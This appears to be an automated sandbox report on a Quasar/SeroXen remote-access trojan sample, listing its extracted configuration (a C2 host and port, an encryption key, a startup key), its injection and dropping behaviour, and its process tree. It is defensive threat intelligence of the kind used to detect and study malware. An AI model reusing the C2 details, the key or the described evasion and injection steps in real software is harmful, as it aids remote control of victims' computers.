Analysis
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max time kernel
1800s -
max time network
1801s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
14/04/2023, 01:53
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://gofile.io/d/2DDghj
Resource
win10-20230220-en
Behavioral task
behavioral2
Sample
https://gofile.io/d/2DDghj
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
https://gofile.io/d/2DDghj
Resource
macos-20220504-en
General
Malware Config
Extracted
quasar
1.4.0
v15.5.4 | SeroXen
us-east-63815.packetriot.net:22685
480ee734-a00e-4d8c-8579-704f4f60da38
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encryption_key
F622E4B012DB6D330923BFB7D9C9757C12AB59FD
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
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startup_key
$sxr-seroxen
Signatures
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Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/4352-529-0x000001DC087E0000-0x000001DC0909E000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 19 IoCs
description pid Process procid_target PID 5656 created 564 5656 Tor_server.bat.exe 3 PID 4352 created 564 4352 $sxr-powershell.exe 3 PID 4352 created 564 4352 $sxr-powershell.exe 3 PID 5656 created 564 5656 Tor_server.bat.exe 3 PID 5656 created 564 5656 Tor_server.bat.exe 3 PID 6164 created 3708 6164 svchost.exe 146 PID 4352 created 564 4352 $sxr-powershell.exe 3 PID 4352 created 564 4352 $sxr-powershell.exe 3 PID 5912 created 564 5912 $sxr-powershell.exe 3 PID 6132 created 564 6132 $sxr-powershell.exe 3 PID 4076 created 564 4076 $sxr-powershell.exe 3 PID 5188 created 564 5188 $sxr-powershell.exe 3 PID 2644 created 564 2644 $sxr-powershell.exe 3 PID 660 created 564 660 $sxr-powershell.exe 3 PID 5876 created 564 5876 $sxr-powershell.exe 3 PID 5584 created 564 5584 $sxr-powershell.exe 3 PID 1212 created 564 1212 $sxr-powershell.exe 3 PID 6036 created 564 6036 $sxr-powershell.exe 3 PID 5912 created 564 5912 $sxr-powershell.exe 3 -
Async RAT payload 1 IoCs
resource yara_rule behavioral1/memory/4352-529-0x000001DC087E0000-0x000001DC0909E000-memory.dmp asyncrat -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 22 IoCs
pid Process 5656 Tor_server.bat.exe 4352 $sxr-powershell.exe 5188 $sxr-powershell.exe 5912 $sxr-powershell.exe 5876 $sxr-powershell.exe 6036 $sxr-powershell.exe 1212 $sxr-powershell.exe 6132 $sxr-powershell.exe 4076 $sxr-powershell.exe 5584 $sxr-powershell.exe 2644 $sxr-powershell.exe 660 $sxr-powershell.exe 4064 $sxr-powershell.exe 7164 $sxr-powershell.exe 1460 $sxr-powershell.exe 6708 $sxr-powershell.exe 6528 $sxr-powershell.exe 6864 $sxr-powershell.exe 5340 $sxr-powershell.exe 768 $sxr-powershell.exe 6220 $sxr-powershell.exe 5308 $sxr-powershell.exe -
Drops file in System32 directory 36 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File created C:\Windows\System32\vcruntime140d.dll Tor_server.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.log DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat DllHost.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\ucrtbased.dll Tor_server.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll Tor_server.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C0427F5F77D9B3A439FC620EDAAB6177 svchost.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V0100001.log DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm DllHost.exe File created C:\Windows\System32\vcruntime140_1d.dll Tor_server.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.log DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V0100001.log DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_E503B048B745DFA14B81FCFC68D6DECE svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\vcruntime140d.dll Tor_server.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File created C:\Windows\System32\ucrtbased.dll Tor_server.bat.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe -
Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 5656 set thread context of 5216 5656 Tor_server.bat.exe 118 PID 4352 set thread context of 4320 4352 $sxr-powershell.exe 120 PID 4352 set thread context of 516 4352 $sxr-powershell.exe 131 PID 5656 set thread context of 5928 5656 Tor_server.bat.exe 132 PID 5656 set thread context of 6116 5656 Tor_server.bat.exe 133 PID 4352 set thread context of 6776 4352 $sxr-powershell.exe 149 PID 4352 set thread context of 6004 4352 $sxr-powershell.exe 148 PID 5912 set thread context of 4448 5912 $sxr-powershell.exe 151 PID 6132 set thread context of 4220 6132 $sxr-powershell.exe 152 PID 4076 set thread context of 5980 4076 $sxr-powershell.exe 153 PID 5188 set thread context of 3080 5188 $sxr-powershell.exe 154 PID 2644 set thread context of 6960 2644 $sxr-powershell.exe 155 PID 660 set thread context of 6904 660 $sxr-powershell.exe 156 PID 5876 set thread context of 3276 5876 $sxr-powershell.exe 160 PID 5584 set thread context of 6140 5584 $sxr-powershell.exe 157 PID 1212 set thread context of 1012 1212 $sxr-powershell.exe 158 PID 6036 set thread context of 6700 6036 $sxr-powershell.exe 159 PID 5912 set thread context of 164 5912 $sxr-powershell.exe 171 -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\$sxr-powershell.exe Tor_server.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe Tor_server.bat.exe File created C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe Tor_server.bat.exe File created C:\Windows\$sxr-seroxen1\$sxr-Uni.bat Tor_server.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 5 IoCs
pid pid_target Process procid_target 6520 3988 WerFault.exe 24 6420 4428 WerFault.exe 29 1808 3724 WerFault.exe 143 4920 3708 WerFault.exe 146 3056 3988 WerFault.exe 24 -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Kills process with taskkill 1 IoCs
pid Process 7080 taskkill.exe -
Modifies data under HKEY_USERS 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,41484365,39965824,7153487,17110988,17962391,17962392,3702920,3462423,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617,17110992" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133259180402837615" chrome.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings chrome.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4724 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4124 chrome.exe 4124 chrome.exe 5656 Tor_server.bat.exe 5656 Tor_server.bat.exe 5656 Tor_server.bat.exe 5656 Tor_server.bat.exe 5656 Tor_server.bat.exe 5216 dllhost.exe 5216 dllhost.exe 5216 dllhost.exe 5216 dllhost.exe 5656 Tor_server.bat.exe 5656 Tor_server.bat.exe 4352 $sxr-powershell.exe 4352 $sxr-powershell.exe 4352 $sxr-powershell.exe 4352 $sxr-powershell.exe 4352 $sxr-powershell.exe 4320 dllhost.exe 4320 dllhost.exe 4320 dllhost.exe 4320 dllhost.exe 4352 $sxr-powershell.exe 4352 $sxr-powershell.exe 5188 $sxr-powershell.exe 5188 $sxr-powershell.exe 5188 $sxr-powershell.exe 5912 $sxr-powershell.exe 5912 $sxr-powershell.exe 5912 $sxr-powershell.exe 5188 $sxr-powershell.exe 5912 $sxr-powershell.exe 5188 $sxr-powershell.exe 5188 $sxr-powershell.exe 5876 $sxr-powershell.exe 5876 $sxr-powershell.exe 5912 $sxr-powershell.exe 5912 $sxr-powershell.exe 6036 $sxr-powershell.exe 6036 $sxr-powershell.exe 5876 $sxr-powershell.exe 6036 $sxr-powershell.exe 6036 $sxr-powershell.exe 1212 $sxr-powershell.exe 1212 $sxr-powershell.exe 5876 $sxr-powershell.exe 6036 $sxr-powershell.exe 6036 $sxr-powershell.exe 5876 $sxr-powershell.exe 5876 $sxr-powershell.exe 1212 $sxr-powershell.exe 6132 $sxr-powershell.exe 6132 $sxr-powershell.exe 1212 $sxr-powershell.exe 6132 $sxr-powershell.exe 4076 $sxr-powershell.exe 4076 $sxr-powershell.exe 1212 $sxr-powershell.exe 1212 $sxr-powershell.exe 6132 $sxr-powershell.exe 5584 $sxr-powershell.exe 5584 $sxr-powershell.exe 4076 $sxr-powershell.exe 6132 $sxr-powershell.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 37 IoCs
pid Process 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe Token: SeShutdownPrivilege 4124 chrome.exe Token: SeCreatePagefilePrivilege 4124 chrome.exe -
Suspicious use of FindShellTrayWindow 41 IoCs
pid Process 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 1000 dwm.exe 1000 dwm.exe 1000 dwm.exe 1000 dwm.exe 1000 dwm.exe 1000 dwm.exe 1000 dwm.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe 4124 chrome.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4352 $sxr-powershell.exe 5912 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4124 wrote to memory of 4100 4124 chrome.exe 66 PID 4124 wrote to memory of 4100 4124 chrome.exe 66 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 3112 4124 chrome.exe 69 PID 4124 wrote to memory of 4240 4124 chrome.exe 68 PID 4124 wrote to memory of 4240 4124 chrome.exe 68 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 PID 4124 wrote to memory of 4296 4124 chrome.exe 70 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4384 attrib.exe
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:648
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:564
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of FindShellTrayWindow
PID:1000
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{528517f2-b62e-419e-b02c-7710c851f29d}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5216
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6652865c-dfd0-445b-9b1f-24388360580c}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4320
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c87c12d0-e4d9-4c30-8f6e-d8045ea39875}2⤵PID:516
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a47f6418-42be-4ce4-8566-4bd911f2e456}2⤵PID:5928
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b313e61d-f40b-4f30-a0c6-0defdbeb00c0}2⤵PID:6116
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{63318a7c-85db-4a26-a61a-fbd1a7be4493}2⤵PID:6004
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3bb08175-270f-41cf-ba98-acf5fa83e9b4}2⤵PID:6776
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8f15e62c-8bb0-440c-8a8e-7baff0166928}2⤵PID:4448
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6a3afe5c-142b-4fe2-a101-1d108a5051e9}2⤵PID:4220
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c69be382-3701-471c-86a7-d5d62ab93505}2⤵PID:5980
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f029c4fa-7763-48d9-9d3f-f348ab8811d9}2⤵PID:3080
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{73e5b0f7-801d-46b5-9356-98f8b4eb6940}2⤵PID:6960
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{86348c96-6464-43b4-b890-7776c74a1c4f}2⤵PID:6904
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6c6301ab-c9da-4a6e-9eba-80b179e20eb5}2⤵PID:6140
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8496dfad-0be9-4eb7-80b9-4f4928eccb6a}2⤵PID:1012
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{da33ffa3-843f-4a94-a7e1-43b85e0d0c6f}2⤵PID:6700
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b1a84f1e-6e96-41a2-b099-1293ef29c802}2⤵PID:3276
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{93830da7-e3b4-488d-9aa4-79a9854097ea}2⤵PID:164
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:732
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1020
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1148
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1260
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1412
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c:\windows\system32\sihost.exesihost.exe2⤵PID:2664
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1752
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1932
